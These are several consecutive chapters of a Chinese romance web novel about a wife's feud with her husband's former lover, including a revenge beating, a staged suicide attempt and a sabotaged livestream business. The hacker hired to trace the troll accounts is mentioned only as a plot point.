季知许看到舒星若回来,十分开心,“妈妈,我看到你的直播了。妈妈真棒。”他觉得工作时的妈妈,比在家里更加好看。
舒星若牵起他的小手:“你小孩子怎么会看直播呢?”
季知许说:“是恬恬告诉我的。”他小心翼翼的问:“你不是跟爸爸一起工作吗?为什么会和苏叔叔一起直播?”
舒星若说:“你爸爸他一如既往的不想公开我。”
季知许义愤填膺的说:“他真的很傻,妈妈这么优秀不公开,难道想公开何欣那个坏女人吗?”他以为父母和好了,想不到季宴礼竟然还这样。
他也不愿再撮合父母,“妈妈,那这段时间你们在我面前都是装的吗?”
舒星若无奈的笑了笑:“嗯,我跟你爸爸总是在你面前吵架,怕影响到你。”
季知许却说:“以后爸爸不当人我替你骂他,不用装了。”
“好!”
此时的季宴礼正在陪何欣一起吃晚饭。何欣看到舒星若事业好了起来,心里嫉妒得发狂。她把季宴礼约出来,想找他要钱要资源。
季宴礼神情有些淡漠,他缓缓开口:“当年你为什么要给舒星若下药?”
第60章 季总当面质问何欣
何欣第一反应是否认,她一副泫然若泣的表情:“阿礼,你是不是弄错了?我怎么舍得把你拱手让给舒星若,当年我那么爱你,明明是她自己做局的。”
季宴礼拿出手机播放尤红娜招认的视频,何欣面如死灰,她百思不得其解季宴礼怎么会找尤红娜追查当年的事。
她掐了掐自己的手掌,让自己不要慌,电光火石之间她已经想好了说词。
她定了定神说道:“当年是我妈逼我们分手的,我不同意,她擅自做主嫁祸给舒星若的。我也是不久之前才知道这事的。你知道的,舒星若是我爸的私生女,我妈讨厌她也是人之常情。”
季宴礼冷着脸说:“据我所知,你妈当年三了舒星若父母,他们结婚在先。舒星若并不是私生女。”
何欣暗叫大事不妙,季宴礼连这个都查了,她却装作惊讶的的表情。
“不可能的,我明明比她大,怎么可能我妈是小三?”
她的眼泪如断线的珍珠唰唰掉落,季宴礼不再像以往她哭那般慌神,只淡淡的说道:“但愿你不知道。”
何欣大惊,季宴礼从来没有用怀疑的眼神看过她。她拉起季宴礼的的手,季宴礼却厌恶的抽出来。
何欣含着泪说道:“阿礼,你怎么可以用这种眼神看我,我是你的欣欣啊。当年虽然舒星若跟你结婚了,我还是舍不得你。我偷偷去看你,才及时救了你。”
季宴礼想起这一层,心瞬间软了下来。
他柔声安慰道:“欣欣,你按时吃药,把身体养好。你家财务困顿的事后面我会想办法的,不要胡思乱想。”
何欣捂着胸口说道:“可是阿礼,这么多年我的心里只有你,我是思念你过度抑郁成疾的。你就不能放弃她吗?她身边已经有了别的男人了。”
一想起苏容泽季宴礼就心口疼,他脸色顿时黑了下来,沉声道:“吃饭。”
何欣暂时按下了找季宴礼要资源要钱的心思,娇滴滴的陪季宴礼吃完了饭。
季宴礼送她回家,进家门时她又表演了一番恋恋情深,使得季宴礼更加心软了。
他打电话给言永飞,“明天让爱马仕、香奈儿、miumiu给何欣送新一季的衣服和包,给她挑。”何欣喜欢这三家牌子的东西。
言永飞:“好!”心里一阵叹气,季总又被何欣收服了。
何欣到家后立刻打给尤红娜,电话已经关机了。何欣心里一阵害怕,跟田玉芬说:“季宴礼已经查到尤红娜了,我找不到她的人。”
田玉芬却满不在乎:“都过了这么多年,查到又怎么样?证据早就没了。”
何欣才稍稍安心。
收到言永飞的微信:【明天上午品牌方会送东西到家里来。】
何欣得意的笑了,她只要流几滴眼泪季宴礼自然会心软。舒星若还需要费劲巴拉的自己直播挣钱,她可不需要活得这么辛苦。
季宴礼到家的时候舒星若正在给季知许讲故事,小家伙笑声整个二楼都听得见。
他忍不住上前去凑热闹,两人见他来了,脸上的笑容立刻凝固消失。舒星若闻到他身上刺鼻的香水味,狗男人又去见何欣了。
季宴礼愣神:“你们这是做什么?”
季知许说:“爸爸,你骗人,你根本就没有跟妈妈一起工作。还害怕公开妈妈。”
季宴礼倒吸一口凉气,自己确实理亏,他低头不语,季知许直接赶他出去:“你回房间吧,妈妈还没给我讲完故事。”
季宴礼眼神求助舒星若,舒星若并不接他的目光。她没当着儿子的面嘲讽他,已经是仁至义尽了。
季宴礼落寞的回了房间,双腿像灌了铅一样沉重。
母子俩继续晚间故事时光,季知许的笑声不断传来,让季宴礼觉得自己像一个外人。即使家里开着暖气,他的心也寒冷到了极点。
故事讲完之后,舒星若帮季知许盖好被子,他开心的说:“妈妈,晚安,好梦!”
“晚安!”
季知许关灯睡觉,舒星若回了房间。
季宴礼一脸木木的坐在沙发上,舒星若也不关心他,默默点了安神香,上床看起了医书。每晚她都看半小时书再睡,甘净莲送的古籍太好了,看得她如痴如醉。
季宴礼开口道:“等何欣去了国外我就公开你,好不好?”
舒星若敷衍的说道:“知道了。”
舒星若的态度让季宴礼更加心痛,他坐到床前,眼神饱含深情的望着她:“星若,我是不是把你的心弄丢了?”这还是他第一次这么亲切的叫她,以前都是连名带姓。
曾经舒星若就是沉溺于这双深情的眼睛,现在她只觉得恶心,她嘴角扯了扯:“季总,齐人之福很有趣吗?”她捏了捏鼻子:“叫她换个牌子的香水吧,太难闻。”
季宴礼大惊失色,飞奔进洗手间去洗澡。
他洗完出来,舒星若还在看书,她整个人沉浸其中,直到季宴礼上床她才发现。
季宴礼低沉的声音传来:“我找到了尤红娜,她跟我说了当年确实是何欣让她递的酒。”
舒星若放下书:“所以呢?”她对季宴礼半点期待都没有。
季宴礼正视舒星若:“是田玉芬干的,何欣也是受害者之一。这事就让它过去吧!”
舒星若只恨自己当初瞎了眼,怎么看上这种蠢男人。
“所以你骂了我六年,涉及到何欣的家人,轻轻放过?”舒星若只觉得心像被人揪了一把的痛,呼吸都变得艰难。
季宴礼伸手揽她进怀里:“星若,我错了,错得很离谱。我会用余生来弥补你。”
舒星若彻底爆发,她吼道:“季宴礼,别恶心了。谁稀罕你的余生?你不把当年下药的人送进去,我跟你永远是仇人。”
她用尽全身的力气连踢带推,将季宴礼推下了床,“以后别来我房间,我们井水不犯河水。”
季宴礼想不到她反应这么激烈,他站起来紧紧抱住舒星若:“星若,我错了。你要怎样才肯原谅我?”
舒星若猩红着眼,咬牙说道:“把他们母女送进去一个。”
第61章 季总让她出气
季宴礼摇头:“何欣有重度抑郁,她妈如果进去的话,她会受不了的。”
舒星若用力推开她:“抑郁,抑郁,抑郁是免死金牌吗?她干什么都可以免责。滚,季宴礼,你让我恶心,快点滚出我的房间。”
季宴礼在舒星若的大力推搡中将她抱紧,他低声说道:“星若,你要是实在过不去,我让田玉芬给你道歉。”
“道歉要是有用的话还要法制干什么?”
舒星若不由分说的将季宴礼推了出去,锁上了房门。
季宴礼拍门:“星若,你听我说。”
舒星若隔着门喊道:“你的那些废话留着跟何欣说吧。”
季宴礼继续拍门:“你把门打开,我们好好谈谈。”
“我们之间没什么好谈的,你不用在我这里白费力气了。”
季宴礼像泄了气的皮球似的回了自己的房间,他贪恋舒星若身上的馨香,又舍不得置何欣于不顾。
他想了想,想起自己这六年来对舒星若的横眉冷对,她这口积压在心里六年的恶气必须要出掉。拨通了一个电话:“明天把田玉芬带过来。”
“好的,季总。”
王八蛋,狗东西,舒星若气得直骂。
她给林安禾打电话:“季宴礼去问何欣当年的事了,何欣将事情推到田玉芬的头上,季宴礼那个二货居然信了。”
林安禾想不到何欣竟然这么狠的,推自己母亲出来背锅,“尤红娜已经自首了,警方启动重新调查了。过两天我去打听一下,有进展我跟你讲。对了,季狗是什么态度?”
提起这个舒星若一肚子气,将刚季宴礼的举动说了。
林安禾啧啧摇头:“他真是脑子被狗吃了,既然许许不让你憋屈了,以后有火就发出来。他不值得你为他受委屈。”
“嗯。”
舒星若睡了,这一晚她睡得很不好,梦见当年自己被下毒后浑身燥热的情景。季宴礼的脸变得狰狞,他们的过往也变成了一场令人窒息的噩梦。
醒来之后她浑身湿透。
拿起手机一看,凌晨三点。舒星若揉了揉太阳穴,起来打坐冥想了一阵,继续睡了。
翌日早晨舒星若下楼的时候,只见田玉芬站在客厅里,季宴礼冷着脸坐在一旁。她嚣张跋扈惯了,但是在季宴礼面前装着一副可怜兮兮的样子。跟何欣一样的能装。
舒星若想,母亲当年就是被这样的贱人气得重度抑郁的,她心底的仇恨蔓延开来。
她冲上去对着田玉芬一顿拳打脚踢,舒星若没有勇气杀人,避开了致命三十六穴。但是她拳拳暴击,田玉芬又不敢还手,没一会便被舒星若打得鼻青脸肿,脸肿得像猪头,门牙缺了两颗。
田玉芬发出杀猪般的嚎叫,痛得满地打滚,因为最后一拳舒星若直接打在田玉芬的左肋上,爆肝了。
季宴礼一言不发的望着地上的女人,没有丝毫不忍,他问舒星若:“这样,你的气可以消了吗?”
舒星若心里的郁结岂是一顿暴揍就能解决的,她需要的是何家家破人亡,他们三个谁也别想逃。
“不够,远远不够。”她大声喘气,双眼充满仇恨。
季宴礼挥了挥手示意保镖带着鬼哭狼嚎的田玉芬走了,他走到舒星若跟前来,牵起她的手,“星若,我知道是我辜负了你六年,伤了你。以后我会尽全力来弥补的。”
他这句话在舒星若听来像笑话,他压根就不知道舒星若的喜好,也不了解她,拿什么来弥补?
舒星若的脸冰冷无比:“季总,你敢带我去公司吗?你敢在大庭广众之下牵着我吗?”
季宴礼说:“给我点时间,我一定会公开你的。”
舒星若翻了个白眼:“知道了,季总。”她才不稀罕季太太的身份,爱公开不公开,她只想拿这个来堵季宴礼的嘴。
“我知道你想开药厂,我今天就回去召开股东大会,让你去瑞祥做CEO,给你百分之十的股份。”瑞祥目前市值二十亿左右,之前这些季宴礼都是给何欣准备的。
舒星若也不跟他客气,“CEO就算了,我自己有公司需要打理。股份你可以给我,就当报答我对你的救命之恩。”不是天天何欣是他的救命恩人吗?谁还没救过季宴礼的命呢。
季宴礼脸色微冷,他之所以要舒星若出任CEO,就是想她不要再回行止生物了。行止毕竟在东盛大厦里面,跟苏容泽很容易碰面。
舒星若最近微微上扬,眼含讥讽:“怎么,舍不得给我这个救命恩人了?”
季宴礼闭上眼睛,内心下了一个很大的决定:“好!随你,只要你开心就好。”
他拉过舒星若拥入怀里,舒星若心里一阵翻江倒海,“以后你不要把我赶出你的房间了,我想念你给我点的安神香。你在我身边我才能安心。”
“好!”舒星若看在股份的面子上声音柔和了下来。
刘管家牵着季知许下楼,刚舒星若揍田玉芬的时候,季宴礼特地吩咐不让季知许下楼。
他聪明无比,透过窗户看到被保安架出去的田玉芬,就知道妈妈今天心情很不错。
他小声问舒星若:“刚刚那个女人是谁?”
“何欣的妈妈,也就是气死你外婆的女人。”
季知许伸出小手给舒星若比了个赞,“妈妈,你真棒。”
季宴礼说:“你俩小声嘀咕别以为我听不见,今天这事还得感谢我。”
季知许看向舒星若,舒星若点点头,季知许鼓掌:“爸爸,你终于知道心疼妈妈了。”
季宴礼捏捏他的小脸,“爸爸会慢慢改变,晚上你们讲故事记得带上我。”
“好!”
田玉芬被送进医院治疗,医生问她要不要报警,她摇了摇头,只让医生给她治疗。
何欣跟何宏赶到的时候,田玉芬已经在住院部打点滴了。何欣望着满身是伤的田玉芬,扑在她身上大哭。
“妈,是谁把你打成这样的?”
田玉芬恶狠狠的说道:“舒星若那个小贱人。”
何欣怒火中烧:“我这就报警把她抓了。”
第62章 怕她不要我
田玉芬制止道:“千万别,是季宴礼叫人把我带到舒星若跟前,给她出气的。”田玉芬挨打的时候观察了季宴礼的神色,他的眼睛一直在舒星若身上。
“季宴礼默认的?”何欣惊得声音都抬高了,明明上午他还让三大品牌给她送新品,怎么转眼就把田玉芬送给舒星若殴打?
田玉芬说:“嗯,季宴礼好像现在挺在意小贱人的。欣欣你要抓紧时间了。”
何欣想不通季宴礼怎么会变得这么快,她说:“我这就给他打电话问清楚。”
此时季宴礼一家三口正在院子里打羽毛球,舒星若和季知许笑得特别甜。季宴礼看见是何欣,摁掉了,他怕影响了他们好不容易修复起来的感情。他的动作被舒星若看在眼里,她嘴角闪过转瞬即逝的笑容,看来季宴礼对何欣的感情松动了。
何欣握着手机快要捏变形了,季宴礼从来不会挂她的电话。他怎么会突然变成这样?都是舒星若这个贱人害的。
何欣想杀了舒星若的心都有了,行,她不是事业上春风得意俘获了季宴礼的心了吗?何欣的眼神变得凶狠,那就毁掉舒星若的事业,看她还拿什么来勾引季宴礼。
季宴礼陪着老婆孩子打了一个小时的羽毛球,结束之后赶紧回电话给何欣。
何欣看到是他的电话,调整了一下情绪,声音中带着哭腔:“阿礼,你为什么让妹妹把我妈打成这样?”
季宴礼沉声道:“你妈做错事了,必须要付出代价。”
何欣啜泣道:“可是我妈一把年纪了,妹妹又是中医,她顶不住的。”
季宴礼说:“我看着了,她并没有打到要害。你妈住院期间的医药费我来付。”
谈到钱何欣就来精神了,但是她的声音还是婉转娇弱:“阿礼,你知道我家现在的情况。我不能这么一直赋闲在家,你能不能把我安排到季氏集团旗下其他的公司上班?”她才不想苦哈哈的上班挣钱,她的目标是子公司的股份和季宴礼这个人。到了集团,她近水楼台先得月,凭她的本事,拿下季宴礼是早晚的事。
季宴礼苦笑:“现在集团股东禁止我将你安排进公司。”这其中就有舒星若的手笔,她知道何欣想要什么,那就让她得不到。
何欣一听简直天都塌了,抽泣的声音更大了:“阿礼,那我这日子怎么过呢?”
季宴礼说:“等过完年吧,过完年再说。这几个月你们先凑活一下。”
季知许看他在门外打了许久电话,喊道:“爸爸,快进来,妈妈做茉莉香糕了。”
何欣在电话那头听到了,她拳头握紧,他竟然在家陪舒星若不来陪自己。舒星若这个狐媚子看来最近开窍了。
季宴礼说:“我这边还有事,先挂了,你记得按时吃药。”
季宴礼进去的时候,舒星若在煮茉莉牛乳,季宴礼走过来说:“需要我帮忙吗?”
舒星若惊奇的抬头望他,他这个含着金汤匙出生的人,会干什么?
舒星若问:“你会炒糯米粉吗?”
季宴礼摇头。
“那你等下和儿子来包吧。”
“行!”
以前舒星若隔山差五的就做中式糕点,他从来不看也不帮忙,送给他吃偶尔吃一两口。舒星若做的糕点味道特别好,那时候他从心底厌恶她,连同她做的食物都讨厌了。现在他望着她在厨房里忙碌,只觉得她像是古画中走出来的人儿,美丽又娴静。
舒星若揉好茉莉皮,搓好绿豆茉莉馅,让两人带着手套来包。季知许动手能力很强,看了一眼就包得有模有样的。他按照舒星若教的方法,用模具轻轻一压,绿白相间,煞是清新。点上金黄的茉莉蜜,一块美丽清新的花瓣糕点便完成了。
舒星若鼓掌:“许许太棒了。”
季宴礼往舒星若更前来凑,“你也教教我呗。”他其实已经看会了,但就是想舒星若多跟他说说话。
舒星若说:“你先把茉莉皮搓圆压扁,在将馅包进去,慢慢包,小心别漏了。”
季宴礼按照她的指示一步一步的做,做出来的也很漂亮完整。他等着舒星若给他鼓掌呢,她却埋头在做糕点。
季宴礼撒娇的说:“你不给我鼓掌?”
舒星若:“啊?”
“你又不是小孩子。”
他现在就想她把他当小孩子一样宠,可惜舒星若还是不太爱搭理他。
季宴礼在心里默默给自己打气,至少现在她不赶自己走了,田玉芬这顿打没有白挨。
一共做了二十块茉莉香糕,舒星若找来盒子打包了十块,叫人送去季家老宅,韦瑛爱吃甜品,尤其爱吃舒星若做的。只是这两个多月舒星若忙,一次都没做过。
舒星若又泡了一壶茉莉茶,配着糕点,一家三口来到花园里享受下午茶时光。
季知许显摆的发了一张图片给苏恬:【我家的下午茶是我妈妈做的,特别好吃。】
苏恬回:【我也想吃。】
季知许问舒星若:“妈妈,恬恬也想吃,我们可以再做一点送给她吗?”
舒星若摇头:“材料用完了,等明天妈妈做了送给她。”
季知许回苏恬:【我妈妈说明天送给你。】
苏恬开心的笑了起来,正好被路过的苏容泽看见,“恬恬看什么这么开心呢?”
苏恬将聊天记录给苏容泽看,他给舒星若发信息:【我也想吃。】
舒星若没有听见,一直没回。苏容泽摸了摸手腕上的珠串,十分思念舒星若,他心里叹气:“哎,还要等一年多。”
直到下午四点,舒星若才看到他发的信息,立刻回到:【明天我多做一点送过去。】
苏容泽秒回了一个馋嘴的表情包。
这个周六季宴礼一整天都没出去,何欣约他吃晚饭他拒绝了。他害怕自己再行差踏错,舒星若又不要他了。
晚上八点的时候,舒星若正陪着季知许在花园里骑车,突然接到销售部经理冯胜的电话:“舒总,我们的直播间被人大面积举报,已经停播了。
第63章 恶人开始出招了
舒星若头皮发麻,这才刚起来的量,怎么就被人举报了?是得罪了哪个对头了?近期行止的直播火爆网络,被人盯上极有可能。
舒星若沉声道:“封多久?”
冯胜:“七天。”
舒星若说道:“我们先自查原因,找官方沟通。我马上回公司来看。”
幸亏袁晶有先见之明,他们在其他网购平台还有官方旗舰店,即使音符被封,其他平台也可以买。只是流量会差很远,这一周被封号,损失不小。
舒星若对季知许说:“妈妈要回公司处理事情,你在家跟爸爸一起玩。”
季知许乖巧的点头,一旁的季宴礼有些不悦:“好不容易周末我们都在家,我都不加班,你加什么班?”
他一向不支持舒星若的事业,舒星若没理他,直接走了。
车子还在路上行驶着,苏容泽的电话来了。
他声音里满是关切:“你们直播间被封了,需要我帮你查吗?”
舒星若纳闷:“你怎么知道的?”
最近行止生物直播爆火,苏容泽知道有人会眼红,一直派人盯着直播间,有事马上向他汇报。
苏容泽掩饰的低咳了一声,“那个,我刚想看看你们直播发现被封了。”
舒星若说:“我暂时可以自己处理,如果需要人帮忙我告诉你。”
“好,不许和我见外。”
“谢谢!”
苏容泽一如既然支持的态度让她心里一阵温暖,他真的太好了。
到了东盛大厦,苏容泽也到了。他身穿棕色羊绒大衣,站在那里,周身一股肃杀的清冷感。
他轻声说道:“我跟你一起上去看看,不介意吧!”
舒星若微笑:“我像是那么不识好歹的人吗?”
苏容泽见她不慌不乱,赞赏道:“你这心态适合做生意,被人黑了还能微笑面对。”
舒星若心想:“我连季宴礼的冷漠都能忍六年,什么事不能面对?”
嘴上说道:“我们产品足够硬,不怕那些小人。”
来到公司,销售部上晚班的人都在,冯胜调出后台给舒星若看,官方给的封禁原因是虚假宣传。
舒星若问:“你申诉了没有?”
冯胜担心申诉原因写错,不能自然解封,或者加重处罚力度,迟迟未行动。
舒星若觉得申诉倒好办,行止生物的每个产品都有实验数据,并且在权威机构检测过。
舒星若对冯胜说:“你提供今晚一整天的直播录屏,并且上传我们的部分实验数据和检验证明。清晰、客观地陈述事实,指出平台可能存在的误判点,要求解除封禁或者减轻处罚。”
冯胜说:“好,我这就去办。”
苏容泽见她条理分明,思路清晰,笑着说:“怪不得你这么淡定,原来是早就胸有成竹了。看来我的担心多余了。”
舒星若一边往电脑部走,一边说:“你的支持就是我最大的底气啊。”一句话撩得苏容泽心中泛起涟漪,我是她的底气,太好了。
电脑部今天上晚班的是应届硕士生白天巧,她见舒星若来了,已经拉了一份举报账号名单给舒星若。
舒星若定睛一看,乖乖,竟然有一万多人,现在水军价格十块左右,对方是下了血本的。这些号全是小号,而且没有实名制。一看就不正常。
幸亏行止的产品没有问题,不然是永久封禁了,这个官方号就废了。
这么大规模的水军,舒星若当下决定报警。
警察来了,做了笔录,警察说:“这样大规模有组织的,IP应该不在国内,我们可能很难追查,当然我们会尽力去查。”
“好的,麻烦警察同志了。”
舒星若心里清楚,对方既然敢这么大规模,必定有备而来,查起来非常费劲。她报警只是为了震慑对方,以及放在官号里当宣传视频。
冯胜将报警回执一并提供给了平台,平台给的答复是十二小时后解封。
他无奈的摇摇头,“平台有时候就是这么无脑。”
舒星若却反过来安抚大伙,“各位同事不用灰心,今晚就当放假了,大家可以早点回家。幕后指使的人我想办法尽快揪出来。”
大伙怎么可能不担心,今天这一次还好,倘若多了,行止的产品销量必定暴跌。公司效益会严重下降,影响大家的收入啊。
舒星若知道鸡蛋不能放进一个篮子里,音符的直播这么容易被举报,那么他们可以多线作战,她决定周一上班跟销售部好好规划一下后面的销售渠道。
苏容泽问舒星若:“你想不想尽快找出幕后黑手?”
舒星若抬眸看他:“你有办法?”
苏容泽浅笑:“雕虫小技还敢作奸犯科,找个黑客就能让他们原形毕露。”他手上资源多,有能耐的黑客他认识不少,也跟他们有过交易。既然想行止生物死,那他也不跟混蛋客气了。
舒星若说:“行,你去找人帮我把他们挖出来,多少钱我都愿意出。”
苏容泽本来不想让她出钱的,但是没想到合适的借口,“行,成事之后你再给钱。”
苏容泽拿出另一部手机拨通了一个电话:“给你发了一个水军list,帮我把他们的幕后黑手找出来。”
对方说:“我看了,两万多人,我要八十万。虚拟币交易。”
苏容泽:“没问题,多久能搞完?”
“明天下午之前给你结果。”
苏容泽挂了电话,对舒星若说:“明天下午之前他就能搞定。”
舒星若心里一阵汹涌澎湃,对苏容泽的感激之情都快溢出来了,“苏总,谢谢你帮了我这么大的忙。我不知道该怎么感谢你?”
苏容泽云淡风轻的回应道:“朋友之间就是要互帮互助嘛,你不要帮过我吗?”他抬起手腕,“你这个珠串我戴了几天,昨天我一觉睡了八个小时。之前我看过医生,说我皮质醇高之类的,吃药效果也不行。”
舒星若说:“你年轻力壮的,只是健身过量,这点小问题我还是能解决的。以后你身体有问题都可以来找我,不过我希望你不要找我啦,身体健健康康的。”
苏容笑着说:“我没病也可以找你。”
两人边聊边进了电梯,苏容泽问道:“你公司出事,季宴礼知不知道?”
第64章 梦里喊苏容泽的名字
“他知道。”舒星若想起季宴礼阻止他的样子就很烦,简直是她事业路上的绊脚石。她早晚要把这块石头切了。
苏容泽好奇的问:“他怎么不出手帮你?”以季宴礼的能力,他只要肯帮,舒星若的问题不是大事。
舒星若摇头:“他不喜欢我做事业,他只希望我在家围着他转。”
苏容泽:“他倒是挺传统的。”
“传统什么呀?”舒星若眼露鄙夷之色:“他是想打压我,让我只能依附于他。上次还威胁我不听话就停掉卡。你看他对何欣,瑞祥制药说给就给。爱与不爱区别很大的。”
苏容泽现在倒是有些感激季宴礼的蠢,不然他就一点机会都没有了。
苏容泽文舒星若:“一起去吃宵夜吗?”
舒星若摇头:“我没有吃宵夜的习惯,改天请你吃饭。”
“好!”
回到家差不多十点了,季知许已经睡了,季宴礼在床上躺着玩手机等舒星若。他对舒星若工作上的事并不上心,他只在意舒星若能不能陪他。
舒星若洗漱完毕,像往常一样准备点安神香。
季宴礼却阻止她:“今天别点了。”
舒星若心里“咯噔”一声,完蛋了,他发现了安神香的秘密?
季宴礼说:“我好久没跟你在一起了,你能不能……”
“不能,”舒星若拒绝道:“自从上次流产之后,我身体很不舒服,等我养好再说吧。”
真是犯贱,六年之间他连舒星若的房间都不进。现在她不爱了,他还想来沾边,门都没有。
季宴礼内疚的说道:“行,我等你。”
舒星若依旧点上香,谁知道等下睡着了他会不会兽性大发。
今天太累了,舒星若沾床即睡。季宴礼望着沉睡的她,是如此的娴静又美丽。
当年不是她设计爬床的,自己一直怨恨咒骂她,她不计前嫌的帮自己治好腿。她在自己人生最灰暗的时候一路陪伴,因为何欣她被伤透了心,季宴礼手心冷汗涔涔。他抽了自己一个巴掌:“季宴礼,以后不要再伤害她了。”
虽然他很想抱她亲她,但是她现在这么抗拒,他会等她回心转意。
闻着安神香,季宴礼很快也沉睡过去。
夜里舒星若又做起噩梦来,她梦见自己被一个看不清脸的人丢进深海之中,那人的身影让她心惊胆战。她浑身无力,游不上去。季宴礼跟何欣站在岸上看笑话,没有一个人伸手救她。
窒息的感觉扑面而来,她在水中极力挣扎,苏容泽跳下水来,拉住她的手。她嘴里喃喃喊道:“苏容泽,救我。”
季宴礼被吵醒,只听着舒星若一遍一遍的喊:“苏容泽,救我。”
他心里来气,做梦都喊别的男人。准备伸手去摇醒舒星若,他手心触及之处舒星若浑身湿透。他大惊失色的开灯,舒星若像陷入了昏迷,脸上满是泪水。
季宴礼轻轻推她,嘴里唤着:“星若,星若。”
舒星若终于从梦魇中醒来,刚才的噩梦太真实,醒来之后她的心突突的厉害。
季宴礼将她抱在怀里,她看见季宴礼的脸,与梦中的情景重叠,她推开他。
季宴礼却不容分说的抱紧她,脸色冷峻:“你刚在梦里一直叫苏容泽。”
舒星若大声喘息道:“我叫他救我,大概也只有他愿意救我。”
这段时间以来,她被人害得流产,现在直播间又被人暗害,只有苏容泽和林安禾在她身边。林安禾不会游泳,潜意识里她觉得只有苏容泽会救他。
季宴礼蹙眉:“你凭什么觉得只有他会救你,那我呢?你把我放在哪里?”
舒星若冷冷的说道:“我公司出事,你连去都不想让我去,谈何帮我?何欣每次出事,你哪次不是飞奔而去?”
季宴礼汗颜,他确实是这么做的。
“对不起,以后我会注意自己的行为,我一定把你排在何欣前面。”
舒星若对这样的承诺一阵恶心,“不用,我不需要。”
季宴礼震惊的望着她:“你这是什么意思?彻底不打算跟我过了吗?”
舒星若冷笑道:“我老公心里装着两个女人,只不过把我排在前面,我该欢天喜地的谢主隆恩吗?”
季宴礼语塞,他做不到对何欣不闻不问。
舒星若浑身湿透,没法睡了,她想起来洗澡。
“我要去洗澡,影响你睡觉,你要不还是回自己房间睡吧。”
季宴礼想在她身边,“没事,我等你。”
洗完澡出来,季宴礼在翻看舒星若的医书,她大惊,虽然这本书里没有写药理,万一他迷上了中医,自己的秘密就暴露了。
舒星若问:“好好的,怎么看起了医书?”
“我想多了解你的世界,跟你有共同语言。”
舒星若说:“我这几本是古籍,看完了我要送去给我外公,你看可能不太方便。”
“行。”他望着舒星若,握起她的手,这次她没有反抗,季宴礼心里一阵高兴。
“星若,我答应你,我一定尽快处理完何欣的事,送她出国。她再也不会影响我们了。”
舒星若问:“需要多久?”
“我跟她的主治医生聊了,她现在状况不错。情况乐观的话,过完年就行了。”
舒星若不信何欣会轻易离开季宴礼这颗大树,况且她又不是真病,到时候肯定又想办法留下来的。
“我知道了,睡觉吧,晚安!”
舒星若背过身去睡觉,季宴礼在心里叹气:“哎,她还是不相信我。”
一觉睡到早上八点,季知许是个很乖的孩子,他七点多就醒了,自己在书房里看书,也不吵父母。
一早就有好消息,冯胜给她发消息:【舒总,直播间解封了。我们还要继续直播吗?】
舒星若想了想回到:【在直播间挂上一副横幅:不惧黑子。继续直播。】
【好,我这就去找打印店做。】
昨晚行止生物的官号微博上发了报警回执,很多人留言支持他们。直播间本来就需要热度,对手送上门的流量她不用白不用。
吃过早饭之后,季宴礼匆忙出门了,看来何欣耐不住性子又在搞事情了。
第65章 留下遗书
何欣一早起来就给季宴礼打电话,电话恰好放在季知许书桌上,季宴礼去洗手间了,被季知许拒接了。
顺手把通话记录也删了。
季知许觉得父母貌合神离都是这个坏女人害的,让她吃瘪,气死她。
何欣眉头直跳,她昨天给季宴礼发了好几条信息约他出来,都被他拒绝了。今天又拒接电话,他是彻底要跟自己切割了吗?还是被舒星若勾了魂?
她可不能坐视他们夫妻俩周末在家发展感情。
过了一会何宏就给季宴礼打电话,“欣欣割腕了,流了一地的血,医生说伤口很深,现在还在抢救中。”
季宴礼一听顿时精神大乱,他心底最担心的就是何欣的病情。忙不迭地让高峰送他去医院。
何欣怎么舍得真死呢?她进的是私立医院,医生早就被她买通了。她找了个化妆师给她化了一个脸色灰败的妆容,整个人看起来奄奄一息。
季宴礼到的时候,何欣正被医护人员推出手术室,医生对何宏说道:“晚几分钟送来,她就没命了。年纪轻轻的,怎么会这么想不开?”
季宴礼望着病床上“昏睡”的何欣,心如刀绞。
何宏叹了口气把何欣的“遗书”交给他,何宏老泪纵横:“季总,你现在是欣欣唯一的救命稻草。”
季宴礼展开何欣的“遗书”,洋洋洒洒的一大堆字:
阿礼,见到这封信的时候,我已经去了另一个世界了。
我不知道你为什么最近对我越来越冷淡,是我没有舒星若那样会撩男人吗?我只爱过你一个人,我全部的心都在你身上。
现在你为了她不理我,还为了她伤害我的母亲,我的心很痛,我已经找不到活着的意义了。
阿礼,我最后悔的是当年失去了你。最庆幸的是当年救了你,如果不是我舍不得,当年我就彻底失去你了。
在国外的六年里,我无时无刻不在思念你,终于我跟自己和解放下了芥蒂,我决定回国与你重修旧好,你的身边却有了她。现在连你的心都给了她,我不能再接受失去你一次。我被永失所爱折磨得生不如死,再见了,我的爱人!
永别!
季宴礼看完之后心更痛了,何欣一直在他面前表演情深意重,他深信不疑。
他回到病房,何欣已经“苏醒”了,见到季宴礼,她泪如雨下。
“阿礼,我以为你不要我了。”
季宴礼坐在病床前,满心满眼的心疼,“欣欣,我不会不要你的,以后我尽量多陪你。”如果今天因为救治不及时,失去了她,季宴礼会后悔一辈子。
季家这边,舒星若让佣人买了食材,在做茉莉香糕,季知许和苏恬约好了下午去植物园玩。
季知许问舒星若:“爸爸会回来吃午饭吗?”
“不会。”她太了解季宴礼了,什么舍弃何欣跟自己好好过日子都是屁话。那女人一哭二闹三上吊,他就会心软,他被何欣拿捏得死死的。
季知许说:“爸爸的脑子经常进水,那我们跟恬恬一起出去吃吧,吃完就去植物园。”
"好!"
做完茉莉香糕之后,舒星若让人给苏容泽送了一份,另一份带给苏恬。
他们约在一家黑珍珠餐厅吃午饭,苏恬是由她的父母苏容添和南真仪带着。苏容添跟苏容泽长得没有半点相似,他一张刚毅的脸,显得正气凛然。南真仪跟苏恬几乎是共用一张脸,甜美可人得不像生过孩子。
南真仪看过舒星若的视频,“哇塞,你比镜头里还要漂亮。”
苏容添没有出声,他纳闷,弟弟是喜欢上了一个带孩子的女人?口味挺独特的。不过舒星若确实长得很美。
两个小朋友一见面就很开心,季知许将糕点递给她。
苏恬打开以后尝了一块,赞不绝口,要她父母品尝。南真仪竖起了大拇指:“舒大夫,你不仅人美,连糕点也做得这么好吃。怪不得容泽喜欢你。”
气氛一下子尴尬了起来,舒星若脸上泛起了红晕,她解释道:“那个,我和苏容泽只是朋友,因为我治好了甘老太太,所以他帮我直播。”
南真仪见她脸红,忙应道:“哦,原来是这么回事。我一直听家里人说你医术好,原来是真的。”
舒星若纳闷,难道苏容添都不关心他外婆的吗?
苏恬问季知许:“你爸爸怎么不陪你一起出来玩?”
苏容添的脸微微变色,看向舒星若,她却面不改色。
南真仪一脸同情的望着舒星若,上次在迪士尼季宴礼抛下季知许走了,她还吐槽他来着。想不到她的老公那么不靠谱,这肯定是外头有人了。
季知许说:“我爸爸有事去了,他一般不跟我们一起玩。”
